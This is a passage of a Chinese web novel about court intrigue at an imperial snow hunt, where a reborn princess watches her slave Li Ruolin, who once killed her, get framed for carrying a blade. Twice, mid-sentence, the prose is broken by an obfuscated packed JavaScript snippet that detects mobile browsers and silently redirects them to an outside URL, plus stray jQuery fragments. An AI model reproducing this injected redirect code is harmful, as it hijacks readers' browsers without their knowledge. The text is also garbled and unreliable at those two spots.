王卓仪道:“不用了。你的氅衣多贵重,给他就毁了。” 宋怡笑道:“那有什么,殿下烧了这么多银炭都不心疼,心疼臣的一件衣裳。” “宋怡你少放肆。” 王卓仪头也不低地指着李若林道:“我的银炭的是为父皇烧的。他算什么。” “是,宋怡失言,请殿下恕罪。” 王卓仪垂下手臂,这才放平了声音,“你去寻谢洇吧,他人在河边,和他父亲说话。我一个人坐会儿。” “是,臣告退。” 宋怡应声退了下去。 整整半个时辰,王卓仪都静静地看着御坐下的火盆,愣是没对李若林说一个字。 李若林本来就已经精疲力竭,跪下都已经很勉强,哪里经得起长时间的折磨,他想跟王卓仪说话,甚至想尝试他在明月园中的那些疯癫做派,然而当他看见归仁对王卓仪挑衅的眼神,他又摁住了心里那阵癫意。 众目睽睽之下,他不想让归仁幸灾乐祸地看笑话,更不想王卓仪因为他的行为而难堪。 于是就算已经撑到了极限,他还是强迫自己跪稳。 这一刻,他视自己为王卓仪尊贵的体面,竟然短暂地忘记了,他是想杀王卓仪的。 不知道王卓仪是不是被他莫名其妙献出的虔诚给打动,就在李若林几乎要载倒的时候,他眼 前掉下来一只隐囊。 “我知道你想跟我闹,但是今日你懂事一点,我心情不好。” “是,小人就这样守着殿下。” “你何必呢?”王卓仪轻声问他。 “你明知道,我明知道我看不上你。” “小人会对殿下有用的,小人可以帮殿下……” “不可能。” 王卓仪的声音里满是绝望和否定。 “李若林。” “小人在。” “回去我就打死你。” 如果是见王卓仪的第一面,李若林可能真的会信这句话信个七八分。但此刻他已经懒得揭穿王卓仪了。 他甚至感知到王卓仪说这句话的时候,人真的很难过。 那就这样听着吧,装得有点害怕吧,让她发泄一下算了。 李若林想着,径直伏下身,“小人知道自己该死,求殿下不要……” “行了闭嘴。” 王卓仪扔下这一句话,目光再度回到了那连片的炭火中。 李若林靠着隐囊跪直了身子,虽然王卓仪的良心只有这么一点点,但这只隐囊还是让他好受了不少,她身边的炭火的确温暖,一点点,烤软了他原本发僵的身子。 两个人一跪一坐,就这么难得安静得呆了一会儿。 不多时,寺人来说,陛下就快到了。 带着东府女眷在昌平长公主面前问过安的宋浓,此时也在张游惜与何玉秋的搀扶下走了过来,向王卓仪行礼。 “怕殿下一个人坐着无聊,我叫游惜和玉秋来陪殿下说说话。” 王卓仪道:“我以为你不来呢。” 宋浓摇头道:“原是不来的,但怕殿下没人侍奉,就要强来了。” 她说完,看向李若林,犹豫了一下,方道:“他一身是……” “你不用管他。”王卓仪冷声应道。 宋浓叹了一口气,“怕是不好看,归仁若看见了,又该找你不痛快了。不如我带他下去,换身衣裳吧。” 李若林心中一紧。 这显然是宋浓来为他和太子搭桥了,李若林下意识地看向王卓仪,唯恐她看出端倪。 然而让他意想不到的是,王卓仪竟也在看他。 他慌忙遮掩:“小人哪儿也不去,小人就跪在这里……” 王卓仪在想其实李若林根本不用掩饰,也许第一世她还不知道李若林和王宪是在什么时候结盟一道的,那么现在她能确定,建立元四十四年的西山雪猎,就是李若林和王宪第一次合谋。 为他们的牵线的人也不是别人,正是她的好友宋浓。 雪猎场中李若林射向宋浓的那只箭。 林间拖行李若林的那条山道。 李若林的命。 西陇番库。 还有下场救美人、献番库的她王卓仪自己…… 王卓仪闭上眼睛,忽道:“去吧。” 说完她垂下一只手,轻轻地拍了拍李若林的肩膀,李若林心漏一拍。 整整十年,那是王卓仪第一次触碰他。 虽然隔着一层单衣,但却轻而易举地调动了他身上所有的感官。 十年身心寂寞啊,在他想要踏出反杀的第一步时,她来施舍温柔了。 她要干什么啊?她到底是不是故意的? 李若林跪在地上,身上的每一根汗毛都在肩上那只手轻轻颤栗。 王卓仪却全然不知道手边的人在想什么,含笑对宋浓道:“你带他去吧,记着,要白衣。” 宋浓笑道:“是,殿下的意思,妾都明白。” 说完又对王卓仪身后侍立的李书常道:“你也跟来吧,帮一帮他,我身边都是女眷,倒不大方便。” 李书常望向王卓仪,王卓仪也没有阻止。 “跟良娣去吧。” 说完忍不住又唤住宋浓:“宋浓。” 宋浓忙应道:“殿下还有什么要嘱咐的吗?” 王卓仪摇了摇头,犹豫了须臾,才对她道:“我希望你和腹中的孩子都能平安,今夜有风,会很冷,炭烧得再多也对你不好,身子是你自己的,孩子也是你自己的。别总顾我的事,他一个奴隶,受辱就受辱我无谓,多照顾你自己。” 宋浓听罢,不禁垂下了头,半晌才应了一个“是”字。 16.西山雪猎(五) 李若林和李书常被宋浓带走后不久,建元帝的御驾到了。 随同建元帝一道来的是贵嫔陈襄灵和王宪的母亲淑妃梁鹣声,除此之外,御驾仪仗中,另有三十余嫔妃伴驾随行,也先后上了浅云滩。 王卓仪和昌平长公主一道上前迎驾,昏黄时的风吹得河边围帐猎猎作响。 王卓仪立在道旁,见御车凤辇连山道,丽人连袂如云。 建元帝的后宫,萧后在时,寥落得只有陈襄灵和梁鹣声两人,一个在修容的位份上,一个从前是萧后的侍女,因生育了王宪,年节上才能在萧后身边有一个座位。萧后一死,建元帝就一举将陈襄灵托到了贵嫔的位置上,接着又给了梁鹣声淑妃的位份,然后疯了一般的广纳后宫。几年下来,王卓仪每回入宫,见到的嫔妃都是生面儿,渐渐的她也懒得去记这些人的名字和位份了。 谢洇提醒过王卓仪,身为萧后唯一的女儿,她这样和建元帝的内宫相处,并没有什么好处,相反,她应该多学一学昌平长公主,闲来与后宫走动。就算王卓仪因为自己的母后而对淑妃梁鹣声有看法,那也应该和陈襄灵多来往。 建元五大族,除了王卓仪的母亲萧氏,就只有陈襄灵这一位皇妃,她虽没有子嗣,但听惯了女人话的建元帝在萧后死后便开始一股脑儿地信任她依赖她,加上昌平长公主孀居之前,也曾是陈家之妇,这二人本就关系甚密,一左一右,伴护着建元帝,几乎成了建元天子的半副口舌。 王卓仪觉得谢洇说得对,但又仅限于觉得他说得对。 她母亲从前不喜欢的女人,她能做到无视,但做不到亲近。 此时拜过建元帝,昌平长公主和陈、梁二妃闲话了几句,接着又应承了不少王卓仪连名字都叫不上来的嫔妃。王卓仪立在她身后,心想自己这位姑姑真的是很厉害,就是不知道为什么,养出了归仁这样一个…… 算了,她这一世说话极其不好听,哪怕是腹诽心谤,她也不想说了。 建元帝落了御座,黄门送上一大匹白熊皮子,拥盖在建元帝身上,接着,寺人们又朝那四个铜鼎当中各添了一大把凤凰木,火光一下子窜得老高,建元帝仍然有些咳,哪怕拥在毛皮间,仍是觉得冷。 “今年这银炭制得没有往年好啊。咳……” 陈贵嫔应道:“这是借得寿灵的。” “哦……” 建元帝趁此望向寿灵,“卓仪的腰伤好了吗?今晚能入场猎狐吗?” 王卓仪摇头道:“好是好了,但骑马猎兽还是勉强了。” 昌平长公主道:“这回咱们不猎禽兽。” 陈贵嫔问道:“怎么?有新鲜的玩样儿。” 昌平长公主笑道:“这不是没见太子殿下嘛。” 说完和梁淑妃相视一笑。 建元帝道:“倒是了,将才他还为朕披甲,在朕的车外戍卫,这会儿倒不见人了。” 陈贵嫔道:“妾还以为这太子还和寿灵,因年前年初争执着得厉害,面上过不去,所以不来见呢。” 梁淑妃忙起身道:“这……这太子怎么敢呢,毕竟是妹妹,他总该让着的,是吧……” 说着望向了陈贵嫔。 二人都以为王卓仪会在面上给王宪一个尊重,谁想王卓仪竟什么也没说,倒令淑妃尬住了。 好在建元帝接过话道:“没听说你们兄妹争执啊。啊?怎么个说法?” 陈贵嫔笑道:“想来还是西陇番库那事,寿灵自然推举她表兄萧将军,妾想着也好,萧惟春人就在西陇,点算番库,行事倒是便宜。” 建元帝点头不止,习惯性赞许道:“嗯,贵嫔说的对。” 陈贵嫔笑道:“陛下,妾还没说完呢。太子所忧也是有道理的,想那西陇才将平定,漠北人又虎视眈眈,若萧将军解运番银回京,飞雪关不就空了吗?” “嗯。说的也对,那……” 建元帝看向了昌平长公主,“昌平,你怎么说。” 昌平长公主含笑道:“玩乐的事我知道,朝廷政务,我就不敢开口了,说起来,今日也不该让这事儿扰了陛下雪猎的兴致。朝内还说不够吗,又说到这浅云滩上来了。” 陈贵嫔接道:“正是呢,将才长公主殿下的话才说了一半,是什么新鲜玩样儿来着?” 昌平长公主闻话,拍了拍归仁县主的手。 归仁随即应道:“太子殿下让我帮了他一个忙,把那些漠北的细作都绑上浅云滩来了,如今全戴上了手脚镣,全都拉到杉林场去预备着。太子殿下此刻应该过去查看了。要说这是太子表兄的心意,等他回来,亲自禀告陛下的好,我就不邀功了。” 陈贵嫔抬袖虚点了点归仁县主的额头说:“咱们归仁真的长大了,还能办事儿了,这事儿还办得像模像样的,该赏。” 归仁的话虽未明说,但满座皆听得明白,这一场雪猎,要人与禽兽同猎了。 建元帝抚掌笑了一声,“是啊,归仁长大了,年也过完了。也是该杀罪人了。” 随着他这一声笑,所有的妃嫔宗妇以及世家子弟,都跟着笑了起来。 千百人汇集的浅云滩,潺潺流水声瞬间人声覆盖,火光映照着众人的欢乐的脸面,好像这王朝还有千年寿数,可以庇护当下的百年富贵。 王卓仪在一片笑声中,静静地看着火盆里的炭火。 金银、人寿,此时都在她眼前惨叫煎熬。 有那么一刻,她忽然极其得想要想伸手去取抓,可那一如火中取栗,她必然要伤。 况且一双焦手即便捧出火中焚物,满座惜物之人全无,就连她自己,也不过是少年贵极,以至物欲满填,中年是见世间百宝灰飞烟灭,感慨万千。今夜才能坐在这金玉的堆砌的豪宴上,装着“满座皆醉我独醒”的清高。 所谓金银人寿,真从火中捧出来,血淋淋烫人手,她一个人又能交给谁呢? 王卓仪想着,不禁有些恶心,她咳了一声,身后有人为她披上了氅衣,她回头看时,见来人是谢洇。 “回来了。”王卓仪问谢洇。 “是。” 谢洇在她身旁坐下,“殿下撵臣去河边和父亲说话,是故意的吧。” 王卓仪没有否定,反问道:“所以你看到什么了吗?” 谢洇不肯直接回答王卓仪,转而说道:“臣让李若林来侍奉殿下,是做错了。’ 王卓仪平声道:“我问你看到了什么?” 谢洇沉默了一阵,这才答道:“臣遇见太子,在帷后私自见了李若林,殿下,今夜雪猎,务必要留心。” 出乎谢洇所料,王卓仪面色无波,只是“嗯”了一声。之后的语气也很随意,“我知道,我的人,很少对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17659873|205684||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 我一心一意的,你如此,你的妻弟也是这样。” “殿下,臣……” “没事。” 王卓仪拍了拍肩头的叶灰,“你听到他们说什么了吗?周遭戒备深严,应该也听不到什么吧。” 谢洇侧身道:“殿下,是臣做错了事,殿下如何责罚臣臣都不敢怨恨,但请不要迁怒……” “谢洇我这辈子就没想迁怒任何一个人。” 王卓仪语速忽快,难免加强了声调。 眼看昌平长公主向她这里投来的窥探的目光,随即倾身从案上拿起了一块梅花糕,反手递给谢洇,含笑地掩饰了过去。 谢洇也意识到自己有些失态,忙接下梅花糕压住声音道:“臣谢殿下赏赐。” 归仁县主忽然站起身,走到王卓仪和谢洇二人面前,“殿下对驸马可真好,可我看殿下怎么不开心呢。” 王卓仪笑道:“嗯,我是不怎么开心。” 说着又取了一盏蜀茶,仍是递给谢洇。应对归仁也是语调轻松,“我腰伤刚好,今日骑不得马,倒要叫你在杉林场拔头筹了。我这个做姐姐的不甘心啊,归仁,若得了彩头,你分表姊一半可好。” 归仁的脸一下子皱了半张,“我才不……” 她的话还没有说完,忽见一寺人惊惶得奔来,跪在建元帝面前道:“禀……禀告陛下,太子殿下发现有人携利刃入帏。” “什么!” 建元帝猛地站起身,“快!快来人,来人护驾!” 宗妇嫔妃顿时花容失色,五族中的年轻子弟皆立身戒备,一时之间众议纷纷。 昌平长公主见此忙上前道:“陛下莫要惊慌,太子既然遣人禀告,必然已将人拿下了。” “对,拿下了……” 建元帝听了这话才稍稍定下神,但仍是心有余悸,陡愤道:“到底是谁这么胆大包天!告诉太子,把那人给朕砍了!碎尸万段!” 陈贵嫔见建元帝身形不稳,抬手搀了一把,随之也站起了身,劝道:“请陛下息怒,携刃入帏,如何能不审而杀呢。” “对,对对……贵嫔说的对。” 建元帝扶着陈贵嫔的手,又改了口,告诉太子,把人带上来!” 寺人应声去了,陈贵嫔道:“诸位莫惊,既然太子殿下处置,想必无碍。” 众人这才重新入座。 谢洇发觉李书常不在,不禁担忧,忙示意吴盈过来。 “随侍殿下的人呢。” 吴盈忙道:“李若林和李书常被宋良娣带去更衣了。” 谢洇追问道:“人没有接回来吗?” 吴盈此时也担忧起来,不敢再回话,只是点了点头。 谢洇身旁,王卓仪缓缓地闭上眼睛。 其实不用猜她也知道,王宪口中这个所谓携带利刃入帏的人一定是李若林。 这一刻她在想,李若林如果想走第一世的路,那就要让他走,这是他自己选的,那他就自己负责。总之,这一次她绝对不会像第一世那样不顾一切地去救他,她会一直这样闭着眼睛,不去看李若林的眼泪,也不去听他的哭声。 如果她实在受不了,她就在李若林对她说第一句话的时候,起身出帷,径直乘车回明月园。 等李若林的血在浅云滩上流干了,她再上山来,将他埋了。 17.西山雪猎(六) 然而令她没有想到的是,她先听到的是一阵凌乱的脚步声,连滚带爬,狼狈至极,却狠狠地踩在她的心跳上。 王卓仪没有睁眼,满座倾身探看时,她静坐在铜鼎边,熊熊的火焰烘起微风,撩动着她身上大氅绒毛。 她尽力让自己静静地呼吸,哪怕心跳早就和那阵脚步同频,她也没有举动。 直到她听见,一阵如伤兽一般不甘又痛苦的呜咽声。 历史总是惊人的相似,该在某个时刻登场的人,或光华一身展尽才情,或狼狈踟蹰囚困于缧绁之间,无论是以什么样的方式,总之,都会在那个特定的时刻登场。 王卓仪起身即转身,她决定离开这是非之地,把李若林彻底丢在浅云滩,让他去面对他自己的选择,去重复没有她在的第一世。 身旁谢洇起身跟来问道:“殿下去什么地方?” 王卓仪没有回头,眼前是绵绵无边的青帏,像一大片平静而沉默的青山。 “炭火太闷了,我去河边散一散。”她随口应付。 谢洇道:“他是殿下的人,就算他背弃殿下殿下不想救他,执刃入帷也会连累殿下,殿下不能不……” “连累不了我什么,我不在,你就在这里做主,父皇要剐他你就把他的骨头收起来,留着我来埋。” 她刚说完,背后又一阵呜咽。 纵满座千百人,纵她根本没有回头,她也能听出来,那阵呜咽是朝向她而来的。急切与恐惧一如往常,却偏偏没有一点向她乞求怜悯的意思。 他有话说,但他好像没法开口。 所以他求她看他一眼,求她不要走。 然而王卓仪还是决定不回头,她太厌恶这种“重复”。 一个她喜欢的男人想要冲破罪奴之身束缚,利用她,背弃她,之后还会哄骗她,屠戮她,虽然活到现在她愿意理解李若林身为罪人想要自救的本欲,但一次也受够了。 她从来不欠他什么,所以她决定走。 与此同时,身后传来了膝盖触地声音,接着是人头触地。 不对,是砸地。 砰! 砰! 砰! 三声直落众人耳中,也直插王卓仪心肺。 而那不管不顾的磕头之举,和那人在明月园中绝食时的疯癫气质一模一样,好似赌上了这辈子所有的尊严体面,以及那份他尚不自知的缘分和旧情,作生作死,也非要把王卓仪拉回来。 “他这是做什么,还不快把他摁住!” 归仁下意识地站起身,退到了昌平长公主的身后,边退边指着李若林说道。 东府卫立即上前,纠起李若林脖子上的绑绳,一把将他的头拽了起来。 李若林的视线猛地从那个背影移向火光映照中的苍天,青山之顶像一片沉默的阴影,几只寒鸦越过山顶高飞入云层,落下来翅灰刺痛了他的双眼,他这才意识到,原来他自己只有在王卓仪面前骗取怜爱的时候,才能收放自如地哭泣。 而当他真正有话要说,有命要救的时候,他是一滴眼泪也哭不出来的。 眼前鸟影如雾,云阔似海,天快黑了,夕光一点一点往山背后收去。 王卓仪不肯回头,好绝望啊… 李若林大口大口地喘着气,挣扭在东府卫的压制下,一遍一遍,无声地喊着王卓仪的名字。 “回头啊。” “求求你了。” “求求你了回头啊!” 其实在场的宗妇,列席过王卓仪明月园寿宴的,很多都不是第一次见李若林,但五姓世家中,很多子弟倒是一次真正看清这个传闻中的西陇二公子。 可惜当下他比明月园那一日还要窘困,指粗麻绳绕过他的脖子,将他的双臂死死反绞在背后,口中被迫咬着一根麻条,勒死了他的舌头,也扼住了他一半的呼吸,令他肩背耸颤。不时干呕。额头因抢地而破了口,伤处恰好在眉心。 当真是白衣薄骨,血点面门。嶙峋秀美,骨相临仙。 无论出于“赏”还是“怜”,终究是没有人能从他身上移开目光。 就连和同跪在一处的李书常,都被他的凄绝隐隐遮蔽了。 陈贵嫔问了一句:“这人是……” 昌平长公主应道:“这人是西陇李氏的次子,李若林。” “哦,李氏的人,难怪。诶他多大年纪了?” 昌平长公主看了王卓仪一眼,这才回道:“听说今年十八了。” 梁淑妃担忧地捏着袖口,对陈贵嫔道:“可是……这李氏罪人,怎么会在御帷中啊。” 满座皆在观看李若林,倒是只有建元帝一个人在恐忧自己的性命,他指挥禁军护卫在前,指着李若林和李书常道:“太子呢?太子怎么还没过来!哪一人是执刃入帏,还是都是?啊?朕要把他的皮剥下来,现在就剥!” 东府卫回道:“回陛下,太子殿下带人在搜寻杉林场,重新为陛下设置防卫。” “去召他过来!” “是!” 王卓仪此刻已然离了坐,那朝向她的呜咽声也渐渐远了,正当她要走到青帷的边缘,张游惜扶着宋浓追了过来。 “殿下。” 王卓仪下意识地加快了脚步,宋浓无法,只能也提裙追了过去,张游惜忙道,“良娣你当心摔着!” 王卓仪听到了背后踉跄而急促的脚步声,不得不停下了脚步,宋浓追到王卓仪面前,立即松开了张游惜的手。 “□□你先回去。” “良娣……” “回去!” 张游惜不得不退了下去,宋浓见走远,低头跪在了王卓仪面前。 “卓仪对不起,我只是想带李若林下去换身衣裳,我不知道他身上会有利刃,东府卫看见了我来不及……” “你想让我相信李若林会带着一把刀,让你和东府卫搜身吗?” “我……”宋浓一怔。 “他身上不可能有刀。” 王卓仪低头,目光与宋浓相迎,“你知道为什么吗?因为他杀过我一次,所以只要到我面前侍奉,不管他穿的是什么,我就会让人把他扒了搜一次,今日也一样。” “可万一他……” “不重要宋浓,就当他有刀吧。” 王卓仪摆了摆手,“我之前的话你听进去了吧?” “……” 宋浓想起了王卓仪之前对她说的那句:“身子是你自己的,孩子也是你自己的。别总顾我的事,他一个奴隶,受辱就受辱我无谓,多照顾你自己。” 此时再看王卓仪,她不得不怀疑,王卓仪是不是早就猜到了什么。 “殿下我……” 王卓仪看着宋浓惶恐的眼神,稍稍放平了声音,“你没有去伤你自己吧。” 这一句话几乎把宋浓揭穿了,尽管她一向自认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17662478|205684||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 言辞机敏,行事冷静,面对说出这句话的王卓仪,她也彻底失了分寸。 那句“不重要”真的就只是字面上的意思,王卓仪跳过了她的算计,问的却是她有没有在算计当中把她自己当作筹码,令她无地自容。 然而王卓仪的下一句话,却又赫然抓住了她的心脉。 “你来见的时候,可能没遇见宋怡,所以你应该不知道,是谁把李若林带入浅云滩的。” 帏帐外,王宪已经骑马奔来,……帏门边卸掉了兵甲,随后入帏在“双李”身前朝建元帝行礼。“儿臣参见父皇。” 梁淑妃起身问道:“宪儿,这到底是怎么一回事。 王宪从腰间取出一把已经被封了刃短剑,目光却看向帏边的王卓仪和宋浓。 帏边照明的火把烧红了王、宋二女的脸庞,宋浓并没有看王宪,倒是王卓仪立在火光下,朝王宪点了点头。 王宪嘴角扯动,认定宋浓话已带到事已办成,得到了王卓仪的应允。 于是捧剑上前一步道:“臣在帏外巡查,见这二奴行迹鬼祟,因此将之拿下,搜出短剑一柄,儿臣已经将剑刃封住,请父皇查验。” 陈贵嫔道:“还请太子殿下说清楚,是在哪一人身上搜出来的。” 王宪再度看了王卓仪一眼,王卓仪径直抬起宋浓的手,一张手书赫然捏在宋浓手中。宋浓仍然目光闪避,但王宪并没有在意。他收回目光,随即站起身,走到李书常身旁,一把扯掉了他塞口的麻条。 “你自己招认吧。” 李书常的嘴一时僵得连闭都闭不起来,大量的口涎流出,他慌忙地吞咽了几口,绝望地望向一旁的李若林。 李若林咬着麻条拼命地向他摇头,口中发出一连串痛苦的呜咽声。 “唔唔……唔唔唔…” 李书常的目光却渐渐软了下来,而后缓缓地转过头,朝不远处的杉木林望去。 杉木林中枝鸣阵阵,混血一两声伶仃的鸟鸣。 “还不快说!”东府卫呵道。 李书常收回目光,像是狠心做了什么决定似的,猛然地回头,闭上眼睛开口道:是小人……啊——” 一个“人”字还没说出口,腹部竟狠狠挨了李若林一脚,李书常捂着肚子扑倒在地,疼痛顿时封住了说有道话。 “放肆!简直反了!”建元帝拍着御案。 这一声下来,东府卫没有给李若林任何的余地,一把将他整个人摁进了泥地里。 此时帷前的王卓仪再也无法回避这个失常的李若林。 她转过身,李若林只有半张脸露在泥地上,而那只唯一露出的眼睛,像一颗纯净的星子,点在建元四十四年的水火相照的西山浅云滩上。 第一世的记忆再度袭来 还是雪猎场上“万众瞩目”的李若林,只是没有文惊四座的《西山赋》,多了满身勒缚的绳索。 还是那一道目光,隔着满座权贵,带着某种强烈的目的,向王卓仪一个人望来。 只是不似当时得体从容,也藏不下那一丝仅属于王卓仪的羞怯。 所以也相同也不同。 王卓仪能看得出来,他在求她,但所求不是出路,也不是他自己的性命。 铜鼎内的凤凰木忽然被一阵风吹得爆燃起来,焦木噼啪作响,像无数被煎熬的白骨对着王卓仪悲哭。 王卓仪向前跨了一步,为李若林回了头。